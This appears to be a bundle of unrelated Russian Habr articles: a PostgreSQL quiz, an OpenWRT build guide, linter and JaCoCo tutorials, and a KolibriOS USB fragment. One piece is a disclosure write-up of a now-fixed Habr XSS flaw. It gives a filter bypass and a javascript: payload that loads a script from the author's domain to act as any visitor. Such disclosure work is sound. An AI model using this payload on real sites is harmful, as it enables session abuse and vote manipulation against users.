Для того, чтобы проще было создавать полезные покрывающие индексы, для PostgreSQL была разработана конструкция `CREATE INDEX...INCLUDE`. О ней можно почитать в [презентации Анастасии Лубенниковой и Ивана Фролкова](https://postgrespro.ru/media/2016/07/08/pgday16-2-frolkov.pdf), авторов этой функциональности в PostgreSQL. Пока что в версию сообщества она не попала, и доступна только в Postgres Pro.
Суть конструкции [`INCLUDE`](https://postgrespro.ru/docs/postgrespro/9.6/sql-createindex) в добавлении в индекс дополнительной (не ключевой) информации, расширяющей применяемость index only scan. Проиллюстрируем его работу на простом примере.
Index only scan — это режим исполнения запроса, когда для определения его результата достаточно информации, имеющейся в индексе, а в саму таблицу заглядывать не нужно.
Пусть у есть таблица с полями и индексом по ним:
```
CREATE TABLE users (
name text,
score int
);
СREATE INDEX users_name_score ON users ( name, score );
```
Если по таблице выполняется запрос
```
SELECT name, score FROM users WHERE name = 'vasya';
```
то выполнение этого запроса возможно в режиме index only scan.
Усложним задачу: пусть нам требуется также контроль уникальности поля `name`.
Для этого индекс `users_name_score` не подходит, т.к. если добавить к его определению параметр `UNIQUE`, он будет контролировать уникальность пары полей (`name, score`).
Можно создавать отдельный уникальный индекс по полю name, но это ресурсоемко, и тут приходят на помощь наши покрывающие индексы:
```
CREATE UNIQUE INDEX ON users ( name ) INCLUDE ( score );
```
Теперь значения поля score будут добавляться в индекс, но не в ключевую его часть, и это позволит решить 2 задачи одним индексом — и контроль уникальности, и обеспечение index only scan.
### 3. Что из следующего списка НЕ является индексом?
а) Hash
б) GIN
в) WHISKEY
г) RUM
Индекса WHISKEY пока нет. Придумайте, что может это означать? WHIthout Specific KEY? Кстати, как точно расшифровывается RUM, тоже ещё не решено.
В PostgreSQL давно есть индекс типа [Hash](https://habrahabr.ru/company/postgrespro/blog/328280/), но на практике пользоваться им можно только начиная с 10-й версии, в которой для него наконец появилась поддержка WAL-логов. В эффективности HASH-индексов по сравнении с B-Tree высказывались большие сомнения, чем и объясняется столь длительное их пребывание в полунедоделанном состоянии.
GIN (Generalized Inverse iNdex) — это обобщенный обратный индекс, разработанный Олегом Бартуновым и Федором Сигаевым. В деталях о его устройстве написано в [статье Егора Рогова](https://habrahabr.ru/company/postgrespro/blog/340978/). Он хорош для полнотекстового поиска, индексации массивов, JSON и JSONB.
RUM — новый тип индекса, разработанный в Postgres Professional, позволяющий ускорить полнотекстовый поиск. [RUM реализован в расширении](https://postgrespro.ru/docs/postgresproee/9.6/rum), входящем в состав Postgres Pro Enterprise, но его исходники являются open source и доступны на [github](https://github.com/postgrespro/rum). RUM несколько тяжелее, чем GIN, при модификации данных, но зато позволяет ускорять поиск благодаря хранению дополнительной информации в индексе.
### 4. Что обеспечивает выполнение буквы I в ACID ?
а) Лог транзакций
б) MVCC
в) Внешние ключи
г) Разделяемый кэш страниц
Правильный ответ — MVCC (MultiVersion Concurrency Control, Многоверсионное управление конкурентным доступом). ACID — принцип устройства СУБД, аббревиатура, означающая Atomicity, Consistency, Isolation, Durability. В данном вопросе нас интересует I — Изоляция транзакций, для её достижения как раз и используется мультиверсионность. В каждый момент времени в базе существует столько версий каждой записи, сколько нужно для того, чтобы каждая транзакция могла бы видеть ту версию, которая корректна для неё. Именно благодаря MVCC, например, транзакция с UPDATE, изменившая какую-либо запись, не мешает чтению той же самой записи всеми остальными. Старые, никому не нужные версии удаляются специальным процессом-пылесосом ([Vacuum](https://postgrespro.ru/docs/postgresql/10/routine-vacuuming.html)). Мультиверсионность для обеспечения изоляции транзакций при [конкурентном доступе](https://postgrespro.ru/docs/postgrespro/10/mvcc.html) к данным [используется](https://postgrespro.ru/blog/pgsql/17758) в большинстве реляционных СУБД.
### 5. Может ли логическая репликация быть синхронной?
В PostgreSQL 10 официально появилась [логическая репликация](https://postgrespro.ru/docs/postgresql/10/logical-replication). Чтобы она работала в синхронном режиме, имя подписки, определенное в команде [`CREATE SUBSCRIPTION`](https://postgrespro.ru/docs/postgresql/10/sql-createsubscription), должно быть упомянуто в параметре `synchronous_standby_names` на мастере.
### 6. Может ли пользователь X узнать, какие временные таблицы создал пользователь Y? Если да, то как, если нет — почему?
Может, т.к. временные таблицы устроены примерно так же, как и обычные, только под них отводятся специальные схемы — по одной на пользовательскую сессию.
```
SELECT nspname,
( SELECT json_agg(json_build_object('name',relname, 'owner', rolname))
FROM pg_class
JOIN pg_roles ON pg_roles.oid = relowner
WHERE relnamespace = pg_namespace.oid
)
FROM pg_namespace
WHERE nspname LIKE 'pg_temp%';
```
Таким запросом можно увидеть все временные таблицы в системе, и кем они созданы.
### 7. На каком языке надо писать хранимые процедуры, чтобы они исполнялись быстрее всего?
Вопрос с подвохом. Быстрее всего, конечно, на C. Но иногда быстрее оказывается SQL, т.к. функция на SQL может быть включена в вызывающий её запрос и оптимизирована вместе с ним. Подробнее о таком свойстве функций на языке SQL (не путать с PL/PGSQL) можно прочитать в [статье Ивана Фролкова](https://habrahabr.ru/company/postgrespro/blog/277335/).
Среди обычных процедурных языков PL/PgSQL не является самым быстрым. В ряде случаев PL/Perl или PL/Python, и тем более PL/v8 оказывается заметно быстрее. Разница особенно сильно появляется, если процедуры занимаются не только работой с БД, но и вычислениями или обработкой данных.
По вопросам сравнения процедурных языков можно обратиться к их документации ([PL/Perl](https://postgrespro.ru/docs/postgresql/10/plperl), [PL/Python](https://postgrespro.ru/docs/postgresql/10/plpython), [PL/v8](https://github.com/plv8/plv8)) и докладу [Ивана Панченко](https://devconf.ru/ru/offers/offer/287).
### 8. Сколько раз будет вызвана функция F в запросе
`SELECT F(a%a) FROM generate_series(-1,1) a` ?
Правильный ответ — один раз. Выражение `a%a` означает взятие остатка от деления переменной `a` на себя. На ноль делить нельзя, поэтому на второй итерации запрос свалится. Таким образом, в функцию `F` успеет попасть только первое значение переменной `a` — минус один. О функции `generate_series` можно прочитать в [документации](https://postgrespro.ru/docs/postgresql/10/functions-srf).
### 9. Запрос SELECT t.abc FROM t; успешно выполняется, хотя колонки abc в таблице t нет (при этом t – действительно таблица). Как такое возможно, и что окажется в столбце abc выборки?
Такое возможно если определена функция `abc(t%rowtype)`. Запись `t.abc` в данном случае эквивалентна записи `abc(t)`. Это – [документированная](https://postgrespro.ru/docs/postgresql/10/rowtypes#ROWTYPES-USAGE) возможность, рудимент объектности в постгресе.
### 10. Экземпляр PostgreSQL работал с параметром fsync=off (не рекомендуем так делать), обслуживая сессии, ведущие активную запись в БД. В самый разгар работы OOM killer убил один из backend’ов, а postmaster соответственно убил весь экземпляр. После этого экземпляр PostgreSQL был запущен заново. Чем завершится процесс recovery и почему?
Большинство участников знали, что `fsync=off` — очень-очень нехорошо: при сбое можно потерять данные. Но при каком сбое? `fsync` — это сброс буфера ОС на диск. Когда буфер ОС может быть не сброшен на диск? Конечно, когда нарушено функционирование ядра ОС. Например, при аппаратном сбое. В условии задачи ОС функционирует нормально — так что есть все основания ожидать, что данные на диск сброшены будут, и при запуске постгреса в следующий раз база восстановится из WAL'ов.
Благодарности
-------------
В составлении вопросов и ответов приняли участие Иван Фролков, Александр Алексеев, Арсений Шер и Иван Панченко. И, конечно, нельзя не спеть дифарамбы в адрес HighLoad++ и его организаторов. Молодцы, как всегда оказались на высоте. Настоящий праздник.
Результат викторины
-------------------
На вопросы викторины ответили 50 участников Highload. По итогам было разыграно 7 бесплатных приглашений на конференцию [PgConf.Russia 2018](https://pgconf.ru/), которая планируется в Москве на 5-7 февраля 2018 г. | https://habr.com/ru/post/342804/ | null | ru | null |
# Запуск OpenWRT 14.07 на Mikrotik и пример сборки Аsterisk c дополнительным модулем
В интернете много статей по запуску openwrt на устройствах Mikrotik через metarouter. Во всех них для сборки используется ревизия r29684 с официальным патчем, поддерживающим процессоры(устройства RB400, RB700 series, RB900 series, RB2011 boards, RB1000, RB1100, RB1100AH and RB800). Для более поздних версий данный патч уже не подходит. Из этого следует то, что все пакеты openwrt достаточно старые и собрать обновленное ПО почти нереально. А в новых версиях openwrt появилось много новых пакетов и библиотек.
Поискав в интернете, не получилось ли у кого запустить свежий openwrt под metarouter, наткнулся на нужную [заметку](http://naberius.de/2015/01/10/openwrt-barrier-breaker-metarouter-instance-on-mikrotik-rb-2011/). Данная статья как раз полностью копирует ее содержание, плюс маленький бонус по сборке пакетов. Приступим (пример для debian\ubuntu систем):
Поставим нужные пакеты для работы:
```
$ sudo apt-get install subversion build-essential libncurses5-dev zlib1g-dev gawk git ccache gettext libssl-dev xsltproc zip
```
Создадим директорию для сборки (нужно около 12 гигабайт свободного места):
```
$ mkdir openwrt & cd openwrt
```
Скачаем патч для openwrt и сами исходники openwrt, и применим патч:
```
$ wget http://openwrt.naberius.de/barrier_breaker/mr-mips/openwrt_metarouter_1407.patch
$ git clone git://git.openwrt.org/14.07/openwrt.git barrier_breaker
$ cd barrier_breaker
$ patch -p1 -i ../openwrt_metarouter_1407.patch
```
Приступим к настройке образа:
```
$ make defconfig
$ make prereq
$ make menuconfig
```
Далее, нужно выбрать в пункте target system тип процессора Mikrotik MetaROUTER MIPS. Также можно пройтись по дополнительным пакетам, которые будут в образе, или исключить ненужные. Можно приступать к сборке и пойти погулять:
```
$ make -j $(nproc)
```
Если сборка удачна, то появится готовый образ *barrier\_breaker/bin/mr-mips/openwrt-mr-mips-rootfs.tar.gz*
Загружаем готовый образ на флешку (можно как на встроенную так и на внешнюю) mikrotik'a, заходим в web интерфейс mikrotik'a и во вкладке, metarouter выбираем Import Image, указываем наш только что созданный образ и нужное кол-во оперативной памяти. На этом все. Остается запустить виртуалку, зайти в консоль нашего образа и приступить к настройкам (более подробное описание настройки можно найти в интернет, поэтому не буду дублировать).
**Сборка и запуск Openwrt**
Основной образ готов и лежит в bin/mr-mips/, можно приступить к сборке дополнительных пакетов. Через меню конфигуратора выбираем нужное ПО, установим для примера, Asterisk11:
```
$ ./scripts/feeds update -a
$ ./scripts/feeds install -a
$ make menuconfig
```
**Сборка доп.пакетов**
Пакеты к установке готовы, можно попить чаю и запустить сборку (чтобы видеть ошибки и процесс сборки, запускаем с параметром V=s )
```
$ make -j $(nproc)
```
Дополнительные пакеты появились в папке bin/mr-mips/packages/ — для установки скопируйте их в систему (например, через scp) и выполните opkg install name\_paccket.ipk.
Данная процедура необязательна, так как можно установить пакеты из репозитария. Для чего же тогда нужно собирать пакеты? Ответ простой: если нужных пакетов нет в репозитарии или если нужны дополнительные модули к определенному пакету.
Попробуем собрать модуль для asterisk'a, которого нет в репозитарии. На форумах, где обсуждают asterisk, запущенный на openwrt, можно найти жалобы на то, что отсутствует модуль для очередей app-queue. Попробуем его собрать. Правильный вариант — прочитать мануал openwrt и собрать по нему. Я решил попробовать напролом и сразу залез в make-файл /barrier\_breaker/package/feeds/telephony/asterisk-11.x/Makefile, в котором в конце нашел строки, отвечающие за сборку модулей.
> $(eval $(call BuildAsterisk11Module,pbx-lua,Lua,provides Lua resources for Asterisk,+libpthread +libc +liblua,/etc/asterisk/extensions.lua,extensions.lua,pbx\_lua,))
**Комментарии к выбору собираемых модулей**# Params:
# 1 — Package subname
# 2 — Package title
# 3 — Module description
# 4 — Module dependencies
# 5 — Full path to multiple conffiles
# 6 — conf files
# 7 — module files
# 8 — sound files
# 9 — binary files
В комментариях дается описание каждой строчки. Для модуля app-queue нет сторонних зависимостей, поэтому строчка довольно компактна.
```
$(eval $(call BuildAsterisk11Module,app-queue,Distribution queue call to agent,Each dynamic agent in each queue is now stored in the astdb,,,,app_queue,))
```
Добавляем ее в make-файл к другим модулям и запускаем сборку нашего модуля.
```
$ make menuconfig
$ make -j $(nproc)
```
**Включаем наш модуль в сборку**
Если все прошло удачно, то остается поставить только что собранный нами пакет. Готовые образы можно взять у автора [патча](http://openwrt.naberius.de/barrier_breaker/). На этом все. | https://habr.com/ru/post/249541/ | null | ru | null |
# Как я Хабр взломал
Всегда хотел взломать Хабр. Мечта такая, но как-то руки не доходили. И вот, вдохновившись статьей [о праведной борьбе](https://habr.com/ru/post/647515/) с Безумным Максом, я, как и автор поста, решил исследовать функционал Хабра на предмет уязвимостей.
Начать решил с нового редактора, рассуждая следующим образом: раз он новый, то и уязвимости там точно должны быть.
В редакторе обратил особое внимание на три возможности:
1. Вставка кода
2. Вставка формул
3. Вставка медиаэлементов
С первыми двумя пришлось повозиться, но ничего существенного найти не удалось. А вот третий оказался очень интересным — через медиаэлемент можем вставлять iframe, указывая на url ресурса, например, делать вставку с youtube.
Но! Разработчики Хабра - хитрые ребята, и в материал вставляется iframe не прямой ссылкой на youtube, а ссылкой на `https://embedd.srv.habr.com` (например: `https://embedd.srv.habr.com/iframe/621169d6e1af860b1c6b9971`), где уже и содержится само видео.
Шаг 1
-----
Проанализировав запрос сохранения публикации (https://habr.com/kek/v2/publication/save/ID), я попытался подменить ссылку в iframe на свою, через параметр habrUrl, но сервер вернул message: "***Bad Request***" "***В тексте были использованы недопустимые элементы. Проверьте его содержимое***". Хорошо, давайте проверим: недопустимых элементов точно нет, это просто url, а вот домен был не habr, а мой. Тогда в голову пришла мысль: «*А что если домен embedd.srv.habr.com будет присутствовать только в части url, например так:* [*https://mydomain.ru/embedd.srv.habr.com/*](https://mydomain.ru/embedd.srv.habr.com/)*?*»
Ого! Случилось чудо! Ссылка была успешно принята, и в черновиках я получил материал с iframe, где в качестве src была указана ссылка на мой ресурс.
*По всей видимости, разработчики не проверяют домен, а проверяют только вхождение ключевого слова «*[*embedd.srv.habr.com*](https://mydomain.ru/embedd.srv.habr.com/)*», к примеру* [*https://mydomain.ru/habr.com/*](https://mydomain.ru/embedd.srv.habr.com/) *валидным не является.*
Получив страницу с «правильно» встроенным iframe и побаловавшись с alert и console.log, я понял, что политика безопасности браузера не позволяет запускать скрипты из iframe и вообще обращаться к [родительскому окну](https://learn.javascript.ru/cross-window-communication).
В результате iframe injection c вытекающими отсюда последствиями есть, например, вставкой своей рекламы или выполнением скриптов от имени пользователей, но, увы, без привязки к домену habr.com. Такой вариант меня не устроил, и я решил копать дальше.
Шаг 2
-----
А если попробовать вставить в iframe src не ссылку на фрейм, а непосредственно сам вызов javascript?
Например так:
```
javascript:alert(‘Hello habr!’);
```
Разумеется не работает, "Bad Request". Ах! Да, конечно!
```
javascript:alert(‘Hello habr! From embedd.srv.habr.com’);
```
Работает! Спасибо ключевому слову «[embedd.srv.habr.com](https://mydomain.ru/embedd.srv.habr.com/)»
Ну все, далее уже дело техники, пробуем создать тег script и загрузить заранее подготовленный js-файл с моего сервера.
```
javascript:s=window.top.document.createElement('script');
s.setAttribute('src','https://mydomain.com/embedd.srv.habr.com/test.js');
window.top.document.head.appendChild(s)
```
`window.top` — так как скрипт вызывается из iframe, необходимо сперва обратиться к родительскому окну;
`embedd.srv.habr.com` — не забываем вставить в текст этот домен, без него работать не будет.
Отправив post-запрос, получил информацию, что материал успешно обновлен, а скрипт внедрен на страницу поста.
Теперь любой пользователь, который зайдет в опубликованный материал, загрузит мой js-скрипт, и от его имени я могу совершать абсолютно любые действия, например: повышать карму, голосовать за любой материал, оставлять комментарии и публиковать заметки (разумеется если у него есть на это права).
Навскидку несколько сценариев использования уязвимости:
1. Втихую повышаем себе карму и плюсуем свои посты.
2. «Мониторим» тех, кто минусует твои посты, и минусуем их самих.
3. От имени пользователей создаём посты с уязвимостями, которые создают такие же посты с уязвимостями (рекурсивно).
4. Вариантов на самом деле много, можно предлагать свои в комментариях.
Протестировав получение данных на странице черновика и поэкспериментировав увеличением кармы случайным пользователям, я, разумеется, написал в тех. поддержку. Со мной связался специалист по тестированию, который передал данные разработчикам. Уязвимость поправили довольно быстро, и в данный момент она устранена.
Выводы
-------
1. Хабр вдохновляет!
2. ВНИМАТЕЛЬНО валидируйте пользовательские данные.
3. Если нашли уязвимость — сообщите разработчикам Хабра (можно через [@Boomburum](https://habr.com/ru/users/Boomburum/)), вознаграждение гарантируется. | https://habr.com/ru/post/653007/ | null | ru | null |
# “Да кто это написал?!!”, или решение сложных задач простыми средствами
Каждый день тысячи программистов трудятся не покладая рук. Они пишут код, контактируют между собой и, как и любой человек, совершают ошибки. Проблемы в коде могут повысить уровень рисков и стать критическими для компании. И с целью выявления таких ошибок специалисты проводят анализ кода.
В качестве испытуемого я выбрал модель стратегии по принятию решений, которая написана на языке программирования Python. Она прекрасно подходит на роль “белой мышки”, так как сама имеет несложный функционал, но располагает весьма значительным количеством строк кода.
Суть задачи состоит в поиске возможных проблем в кодовой части модели. Количество строк в коде довольно велико и исследовать такое вручную может занять не один рабочий день.
В этом случае на помощь приходит «Code Mining»!
«Code Mining» - это целое направление, которое фокусируется на анализе исходного кода и артефактов кода. Другими словами, «Code Mining» представляет собой анализ данных для разработки программного обеспечения.
В сравнении с ручным анализ «Code Mining» может:
* Осуществлять поиск различных проблем: от неправильных наименований переменных до логических ошибок;
* Указывать на проблемы с точностью до строчки;
* Обрабатывать большой объем программного кода;
* Выполнить анализ в короткий срок;
* Производить автоматический поиск уязвимостей без участия специалиста.
Итак, применим «Code Mining»! Для анализа кода будем использовать автоматизированные инструменты статистического анализа «flake8» и «pylint». Рассмотрим их подробнее.
### Flake8
«Flake8» - это одна из самых популярных утилит для поисков проблем в Python, который объединяет в себе другие анализаторы кода «PyFlakes», «Pycodestyle», «Mccabe». Он обладает большим количеством проверок, а также прост в использовании и в настройке. Отчет «flake8» отображает предупреждения в объединенном выводе по каждому файлу в виде «Адрес файла – номер строки – номер ошибка - описание».
Утилита устанавливается с помощью одной команды:
```
pip install flake8
```
Рисунок 1. Процесс установки flake8### Pylint
«Pylint» - это статистический анализатор кода для Python 2 или 3, который анализирует код, не запуская его. В отличии от многих других инструментов данная утилита объединяет в себе возможности стилистического и логического анализа кода. Он проверяет наличие ошибок, обеспечивает соблюдение стандарта кодирований и дает рекомендации по реорганизации кода. Это гибкий и мощный инструмент, который отличается большим количеством проверок и анализом кода.
Для установки утилиты требуется прописать в командной строке команду `pip install pylint` (на рисунке 2 продемонстрирована установка утилиты),
Рисунок 2. Процесс установки pylintПроверим установку обоих инструментов командами `pylint --version и` `flake8 --version` (рисунок 3). Оба инструмента успешно установились и можно приступать непосредственно к анализу.
Рсунок 3. Проверка установки утилитНачнем поиск уязвимостей с flake8. Данная утилита имеет довольно большое количество дополнительных плагинов для дополнительных проверок. Посмотреть список плагинов можно в репозитории «GitHub» под названием "awesome-flake8-extensions". Установим интересующие нас плагины с помощью консольной команды `pip install <название плагина>`:
* flake8-bugbear – для поиска популярных логически ошибок;
* flake8-coding – проверка комментариев;
* naming – проверка наименований на соответствие международному соглашению по написанию кода «PEP8».
Теперь начнем непосредственный анализ используя команду `flake8`. Введем в командную строку `flake8` для выполнения операции по всему каталогу модели. Если нужно указать конкретный скрипт, нужно добавить в конец команды путь к файлу, например, `flake8 main.py`
Для более подробного вывода, можно дописать дополнительные функции для утилиты: `flake8 –statistics –count`, где `--statistics` это подсчет ошибок по категориям, а `--count` - их общие количество.
Рисунок 4. Пример использования flake8Рисунок 5. Группировка ошибокКак можно увидеть `flake8` нашел 2 628 ошибок и самыми популярными из них являются `E501: line to long` - слишком длинная строка и `F405: may be undefined, or defined from start imports` - необъявленная переменная.
В основном программа нашла синтаксические ошибки - не соответствие PEP8 (PEP8 - Python Enhancement Proposal, предложения по развитию Python. Стандарты, которые позволяют создавать унифицированную проектную документацию для новых утвержденных возможностей языка Python. Самый известный PEP имеет восьмой порядковый номер. PEP8 содержит перечень принципов написания красивого и лаконичного программного кода на языке Python). Хоть они и не влияют на саму работу программы, но данные проблемы мешают другим программистам понимать код, что усложняет поддержку программного продукта.
Из-за того что вышеуказанный инструмент не сохраняет результаты работы в json-файле сохраним его в формате .txt, просто добавив к концу прошлой команды `> result_flake8.txt.`
Теперь пришла очередь утилиты pylint. Данный инструмент более мощный и продвинутый, чем его коллега. Он гораздо более строг и придирчив, содержит больше рекомендаций и правил. Но есть и недостаток - трудно проверить весь каталог модели, так как если в директории нет файла `__init__.py`, то проверять pylint его не будет.
Для запуска работы анализатора, используется команда «pylint» и укажем ему файл для анализа.
Рисунок 6. Пример использования программыДля более подробного отчета, допишем команду: «pylint –reports=y text». Благодаря данным настройкам, «pylint» расширит отчет. Теперь помимо перечисления проблем, он показывает:
* Statistics by type – статистику по типу;
* External dependencies – внешние зависимости;
* Duplication – дублирование кода;
* Messegas by category – распределение ошибок по категориям;
* % errors / warnings by module – процентное отношение ошибок;
* Messages – количество одинаковых ошибок.
Рисунок 7. Вывод результатов анализа по проверке (1)Рисунок 8. Вывод результатов анализа по проверке (2)В итоге pylint обнаружил:
* 7 критичных ошибок (три `import-error /E0401` – неудачный импорт модулей, четыре `no-name-in-module/E0611` – имя не может быть найдено в модуле);
* 10 потенциальных ошибок (три `pointless-string-statement/W0105` – строковый оператор не имеет эффекта, семь `unused-import /W0661` – импортируемый модуль не используется);
* 8 ошибок, который требуют рефакторинга кода (`Too many branches/R0912` – функция или метод имеет много ветвей);
* 240 ошибок, которые нарушают правила соглашений и стилистику языка (самые популярные ошибки: `line-too-long /C0301` (82) – длина строки превышает заданное количество символов, и `invalid-name /C0103` (43) – имя не соответствует правилам наименования).
Благодаря данным утилитам были найдены не только синтаксические ошибки, которые влияют на понимание и поддержку кода, но и ряд критических проблем, которые мешают модели нормально функционировать.
Что делать дальше?!
Все зависит уже от вашей цели:
* если вы проводили аудит кода, то занесите ошибки в отчет и отправьте его разработчикам на рефакторинг кода;
* если вы сам разработчик, то исправьте данные проблемы;
* если вы только «учитесь» и использовали инструменты для проверки себя и своего кода, то проанализируйте выявленные проблемы и попытайтесь не допускать их вновь.
Качество вашего кода поднимется на новый уровень! | https://habr.com/ru/post/681370/ | null | ru | null |
# Измерение покрытия кода тестами в Android с помощью JaCoCo
Автор: Mike Gouline
<https://blog.gouline.net/2015/06/23/code-coverage-on-android-with-jacoco/>
Перевод: Семён Солдатенко
С тех пор как эта возможность появилась в Android Gradle плагине версии 0.10.0 было написано много статей об измерении покрытия кода тестами (test coverage) — и я не испытываю никаких иллюзий по этому поводу. Однако, что меня раздражает, так это необходимость заглядывать в несколько таких статей и даже в документацию Gradle прежде чем вы получите полностью работающее решение. Так что вот, еще одна статья которая попытается это исправить и сберечь ваше время.
Постановка задачи
-----------------
Имеется Android проект с модульными тестами (unit tests), и мы хотим создать отчет о покрытии кода для выполненных тестов. Решение должно поддерживать различные режимы сборки (build types) и вариации продукта (product flavours).
Решение
-------
Решение состоит из несколько частей, поэтому давайте рассмотрим его по шагам.
### Включите сбор данных о покрытии кода
Вам нужно включить поддержку сбора данных о покрытии кода тестами для режима сборки (build type) в котором вы будете выполнять тесты. Ваш `build.gradle` должен содержать следующее:
```
android {
...
buildTypes {
debug {
testCoverageEnabled = true
}
...
}
...
}
```
### Настройте JaCoCo
Хотя всё из этого раздела можно было бы поместить в `build.gradle`, такой «навесной монтаж» сделает ваш сценарий сборки не читаемым, поэтому я рекомендую поместить всё это в отдельный сценарий сборки, а затем импортировать.
Мы начнем настройку JaCoCo с создания файла `jacoco.gradle` в корневом каталоге проекта. Можете создать его в любом месте где пожелаете, но держать его в корневом каталоге проекта позволит легко на него ссылаться из всех подпроектов.
Самая простая часть — импорт JaCoCo:
```
apply plugin: 'jacoco'
jacoco {
toolVersion = "0.7.5.201505241946"
}
```
Обратите внимание, что вам не нужно объявлять какие-либо зависимости чтобы использовать плагин «jacoco» — всё что нужно подключит плагин Android.
Чтобы проверить какая версия последняя, поищите [org.jacoco:org.jacoco.core](https://bintray.com/bintray/jcenter/org.jacoco:org.jacoco.core) в jCenter, но обновляйте осторожно — самая последняя версия может оказаться пока еще несовместимой, что может привести к каким-нибудь странностям, например к пустому отчету.
Следующий шаг это создание задач Gradle (Gradle tasks) для всех вариаций продукта и режимов сборки (на самом деле вы будете тестировать только отладочную сборку (debug), однако очень удобно иметь такую возможность для любой специальной конфигурации отладочной сборки).
```
def buildTypes = android.buildTypes.collect { type -> type.name }
def productFlavors = android.productFlavors.collect { flavor -> flavor.name }
```
Обратите внимание что `collect` в Groovy получает на вход список, вызывает функцию с каждым элементом списка, а результаты возвращает в новом списке. В данном случае на вход поступают списки объектов «режим сборки» и «вариация продукта» которые преобразуются в списки их названий.
В угоду проектам в которых не заданы вариации продукта мы добавим пустое имя:
```
if (!productFlavors) productFlavors.add('')
```
Теперь мы можем вот так пролистать их, что по существу является вложенным циклом в Groovy:
```
productFlavors.each { productFlavorName ->
buildTypes.each { buildTypeName ->
...
}
}
```
Самая важная часть — то, что мы поместим внутрь цикла, поэтому давайте рассмотрим это более подробно.
Сначала мы подготовим имена задач с правильной расстановкой заглавных букв:
* `sourceName` – название источника сборки (build source name), н-р: `blueDebug`
* `sourcePath` – путь к исходным кодам сборки (build source path), н-р: `blue/debug`
* `testTaskName` – задача для выполнения тестов от которой будет зависеть задача измерения покрытия кода, н-р: `testBlueDebug`
Вот как мы их определяем:
```
def sourceName, sourcePath
if (!productFlavorName) {
sourceName = sourcePath = "${buildTypeName}"
} else {
sourceName = "${productFlavorName}${buildTypeName.capitalize()}"
sourcePath = "${productFlavorName}/${buildTypeName}"
}
def testTaskName = "test${sourceName.capitalize()}UnitTest"
```
Теперь задача, как она выглядит на самом деле:
```
task "${testTaskName}Coverage" (type:JacocoReport, dependsOn: "$testTaskName") {
group = "Reporting"
description = "Generate Jacoco coverage reports on the ${sourceName.capitalize()} build."
classDirectories = fileTree(
dir: "${project.buildDir}/intermediates/classes/${sourcePath}",
excludes: ['**/R.class',
'**/R$*.class',
'**/*$ViewInjector*.*',
'**/BuildConfig.*',
'**/Manifest*.*']
)
def coverageSourceDirs = [
"src/main/java",
"src/$productFlavorName/java",
"src/$buildTypeName/java"
]
additionalSourceDirs = files(coverageSourceDirs)
sourceDirectories = files(coverageSourceDirs)
executionData = files("${project.buildDir}/jacoco/${testTaskName}.exec")
reports {
xml.enabled = true
html.enabled = true
}
}
```
Вы могли встречать похожий код в других статьях про JaCoCo, поэтому надеюсь, что большая его часть понятна без объяснений.
Части заслуживающие дополнительного внимания:
* `classDirectories` – в `"excludes"` вы можете перечислить шаблоны для исключения из отчета; это может быть сгенерированный код (класс `R`, код внедряющий зависимости и т.д.) или что-угодно, что вы захотите игнорировать
* `reports` – разрешает HTML и/или XML отчеты, в зависимости от того, нужны ли они для публикации или для анализа, соответственно.
Вот и всё о `jacoco.gradle`, поэтому вот полное содержимое файла:
```
apply plugin: 'jacoco'
jacoco {
toolVersion = "0.7.5.201505241946"
}
project.afterEvaluate {
// Grab all build types and product flavors
def buildTypes = android.buildTypes.collect { type -> type.name }
def productFlavors = android.productFlavors.collect { flavor -> flavor.name }
// When no product flavors defined, use empty
if (!productFlavors) productFlavors.add('')
productFlavors.each { productFlavorName ->
buildTypes.each { buildTypeName ->
def sourceName, sourcePath
if (!productFlavorName) {
sourceName = sourcePath = "${buildTypeName}"
} else {
sourceName = "${productFlavorName}${buildTypeName.capitalize()}"
sourcePath = "${productFlavorName}/${buildTypeName}"
}
def testTaskName = "test${sourceName.capitalize()}UnitTest"
// Create coverage task of form 'testFlavorTypeCoverage' depending on 'testFlavorTypeUnitTest'
task "${testTaskName}Coverage" (type:JacocoReport, dependsOn: "$testTaskName") {
group = "Reporting"
description = "Generate Jacoco coverage reports on the ${sourceName.capitalize()} build."
classDirectories = fileTree(
dir: "${project.buildDir}/intermediates/classes/${sourcePath}",
excludes: ['**/R.class',
'**/R$*.class',
'**/*$ViewInjector*.*',
'**/*$ViewBinder*.*',
'**/BuildConfig.*',
'**/Manifest*.*']
)
def coverageSourceDirs = [
"src/main/java",
"src/$productFlavorName/java",
"src/$buildTypeName/java"
]
additionalSourceDirs = files(coverageSourceDirs)
sourceDirectories = files(coverageSourceDirs)
executionData = files("${project.buildDir}/jacoco/${testTaskName}.exec")
reports {
xml.enabled = true
html.enabled = true
}
}
}
}
}
```
В заключение вам нужно импортировать этот сценарий сборки в ваш сценарий в `app` как-то так:
```
apply from: '../jacoco.gradle'
```
(Обратите внимание: Здесь подразумевается, что `jacoco.gradle` расположен в корневой директории вашего проекта, как было описано выше)
Вот и всё! Вы можете убедиться, что задачи создаются, выполнив `gradle tasks` и поискав в секции `"Reporting"` что-то похожее на следующее:
```
Reporting tasks
---------------
testBlueDebugUnitTestCoverage - Generate Jacoco coverage reports on the BlueDebug build.
testBlueReleaseUnitTestCoverage - Generate Jacoco coverage reports on the BlueRelease build.
testRedDebugUnitTestCoverage - Generate Jacoco coverage reports on the RedDebug build.
testRedReleaseUnitTestCoverage - Generate Jacoco coverage reports on the RedRelease build.
```
Чтобы создать отчет, выполните `gradle testBlueDebugUnitTestCoverage` и вы найдете его в `"build/reports/jacoco/testBlueDebugUnitTestCoverage/"`.
Обновления
----------
* 2015-08-23: Fixed jacoco.gradle script for Gradle plugin 1.3.0, where test tasks are suffixed with «UnitTest».
* 2015-10-01: Fixed task name suffixes in text.
* 2015-10-28: Fixed build path changes for latest Android plugin.
Исходный код
------------
[JaCoCo example](https://github.com/mgouline/android-samples/tree/master/jacoco) (GitHub) | https://habr.com/ru/post/280374/ | null | ru | null |
# Поддержка USB в KolibriOS: что внутри? Часть 5: уровень логического устройства
Обработка подключения устройства, начатая на [уровне поддержки хост-контроллеров](http://habrahabr.ru/company/kolibrios/blog/183284/), остановилась, подготовив нулевую конечную точку устройства к работе. [Уровень поддержки каналов](http://habrahabr.ru/company/kolibrios/blog/186276/) предоставил методы работы с каналами. Самое время их применить для продолжения инициализации устройства: включается функция `usb_new_device` из [bus/usb/protocol.inc](http://websvn.kolibrios.org/filedetails.php?repname=Kolibri+OS&path=%2Fkernel%2Ftrunk%2Fbus%2Fusb%2Fprotocol.inc).
